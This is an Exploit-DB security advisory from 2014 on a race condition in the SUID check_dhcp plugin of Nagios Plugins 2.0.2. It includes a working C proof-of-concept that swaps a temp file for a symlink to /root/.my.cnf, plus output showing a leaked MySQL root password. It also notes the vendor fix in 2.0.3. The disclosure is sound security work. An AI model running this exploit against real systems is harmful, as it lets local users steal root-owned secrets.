Nagios Plugins check_dhcp 2.0.2 - Arbitrary Option File Read Race Condition

EDB-ID:

33904




Platform:

Linux

Date:

2014-06-28


=============================================
- Release date: 28.06.2014
- Discovered by: Dawid Golunski
- Severity: Moderate
=============================================


I. VULNERABILITY
-------------------------

check_dhcp - Nagios Plugins = 2.0.2 Race Condition


II. BACKGROUND
-------------------------

"Nagios is an open source computer system monitoring, network monitoring and
infrastructure monitoring software application. Nagios offers monitoring and
alerting services for servers, switches, applications, and services.
It alerts the users when things go wrong and alerts them a second time when
the problem has been resolved.

Nagios Plugins (Official)

The Nagios Plugins Development Team maintains a bundle of more than fifty
standard plugins for Nagios and other monitoring applications that use the
straightforward plugin interface originally invented by the Nagios folks.
Each plugin is a stand-alone command line tool that provides a specific type
of check. Typically, your monitoring software runs these plugins to determine
the current status of hosts and services on your network.

Some of the provided plugins let you check local system metrics (such as load
averages, processes, or disk space usage), others use various network protocols
(such as ICMP, SNMP, or HTTP) to perform remote checks.
This allows for checking a large number of common host and service types.


* check_dhcp plugin

This plugin tests the availability of DHCP servers on a network."

III. INTRODUCTION
-------------------------

check_dhcp plugin (part of the official Nagios Plugins package) contained
a vulnerability that allowed a malicious attacker to read parts of INI
config files belonging to root on a local system. It allowed an attacker
to obtain sensitive information like passwords that should only be accessible
by root user.

This vulnerability was discussed in my previous advisory available at:

http://legalhackers.com/advisories/nagios-check_dhcp.txt
http://www.exploit-db.com/exploits/33387/

The vulnerability was quickly patched by vendor in the release of nagios plugins
version 2.0.2 however the security measures in the patch are not sufficient and
the code is vulnerable to Race Condition attack.
Race Condition makes it possible for an arbitrary user to read parts of a
root-owned file despite the checks.

IV. DESCRIPTION
-------------------------


Nagios Plugins 2.0.2 introduces the following checks before the SUID root check_dhcp
program accesses a file provided by a user:

-----[ lib/parse_ini.c ]-----

/* We must be able to stat() the thing. */
if (lstat(i.file, &fstat) != 0)
       die(STATE_UNKNOWN, "%s %s\n", _("Can't read config file."), strerror(errno));
/* The requested file must be a regular file. */
if (!S_ISREG(fstat.st_mode))
       die(STATE_UNKNOWN, "%s\n", _("Can't read config file. Requested path is not a regular file."));
/* We must be able to read the requested file. */
if (access(i.file, R_OK|F_OK) != 0)
       die(STATE_UNKNOWN, "%s %s\n", _("Can't read config file."), strerror(errno));

/* We need to successfully open the file for reading... */
if ((inifile=fopen(i.file, "r")) == NULL)
       die(STATE_UNKNOWN, "%s %s\n", _("Can't read config file."), strerror(errno));

------------------------------

A configfile will only be opened if it is a regular file (not a symlink) and only if it
is readable by the real user running the program (checked with access() call).

These checks prevent a user from accessing a file that is not owned by them e.g:

$ /usr/local/nagios/libexec/check_dhcp -v --extra-opts=mysql@/root/.my.cnf
Can't read config file. Permission denied

However there's a possibility of a Race Condition here. If an attacker manages
to create a symlink leading to /root/.my.cnf in the very short time window that
occurs between the regular file/permission checks and the fopen() call then the
attacker could still be successful in obtaining the contents of the file.


V. PROOF OF CONCEPT
-------------------------

Below is an example exploit that demonstrates this attack.

-------[ checkdhcp_race_exploit.c ]-------

/* check_dhcp 2.0.2 Arbitrary Option File Read - Race Condition Exploit */
/* Created by Dawid Golunski (dawid@legalhackers.com) */
/* http://legalhackers.com */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>

#define TARGET         "/usr/local/nagios/libexec/check_dhcp"
#define PROGARGS       "--extra-opts=mysql@/tmp/access"
#define ROOT_CONFIG    "/root/.my.cnf"
#define SYMLINK_FILE   "/tmp/access"

#define MAX_DELAY 1500  // adjust if necessary

int main(int argc,char **argv)
{
   char *arg[] = {TARGET, PROGARGS, 0};
   int randomnum = 0;

   /* Create empty file , remove if already exists */
   unlink(SYMLINK_FILE);
   open(SYMLINK_FILE, O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO);

   if(fork() == (pid_t)0){
   /* Child Proc */
       execvp(TARGET, arg);
   }
   else{
   /* Parent Proc */
       srand ( time(NULL) );
       randomnum = ( rand() % MAX_DELAY );

       usleep(randomnum);
       unlink(SYMLINK_FILE);   /* Unlink the file */
       symlink(ROOT_CONFIG, SYMLINK_FILE);  /* Create symlink */

       wait(NULL);
   }

return 0;
}

-------------------------


Here is an example root mysql config file:

# cat /root/.my.cnf
[mysqldump]
quick

[mysql]
# saved password for the mysql root user
password=myRootSecretMysqlPass123


Here is the output of the running exploit:

$ while :; do ./checkdhcp_race_exploit; done

Invalid section 'mysql' in config file '/tmp/access'
Can't read config file. Requested path is not a regular file.
Can't read config file. Requested path is not a regular file.
Can't read config file. No such file or directory
Can't read config file. Requested path is not a regular file.
Can't read config file. No such file or directory
Can't read config file. No such file or directory
Can't read config file. Requested path is not a regular file.
Can't read config file. Requested path is not a regular file.
Can't read config file. No such file or directory
/usr/local/nagios/libexec/check_dhcp: unrecognized option '--password=myRootSecretMysqlPass123'
Usage:
check_dhcp [-v] [-u] [-s serverip] [-r requestedip] [-t timeout]
                 [-i interface] [-m mac]
Invalid section 'mysql' in config file '/tmp/access'
Invalid section 'mysql' in config file '/tmp/access'
Invalid section 'mysql' in config file '/tmp/access'

As we can see it succeeds after some failed runs.

VI. BUSINESS IMPACT
-------------------------

Malicious user that has local access to a system where check_dhcp plugin is
installed with SUID could exploit  this vulnerability to read any INI format
config files owned by root and  potentially extract some sensitive information.

VII. SYSTEMS AFFECTED
-------------------------

Systems with check_dhcp SUID binary installed as a part of Nagios Plugins 2.0.2 is
vulnerable.

VIII. SOLUTION
-------------------------

Vendor has been informed about the vulnerability prior to the release of this advisory and
released another version of nagios plugins available at:
http://nagios-plugins.org/nagios-plugins-2-0-3-released/

IX. REFERENCES
-------------------------

http://nagios-plugins.org/nagios-plugins-2-0-2-released/
http://nagios-plugins.org/nagios-plugins-2-0-3-released/

http://legalhackers.com/advisories/nagios-check_dhcp.txt

http://legalhackers.com/advisories/nagios-check_dhcp-race.txt

X. CREDITS
-------------------------

The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
legalhackers.com

XI. REVISION HISTORY
-------------------------

May  26th, 2014:  Advisory created
June 28th, 2014:  Advisory updated and released

XII. LEGAL NOTICES
-------------------------

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.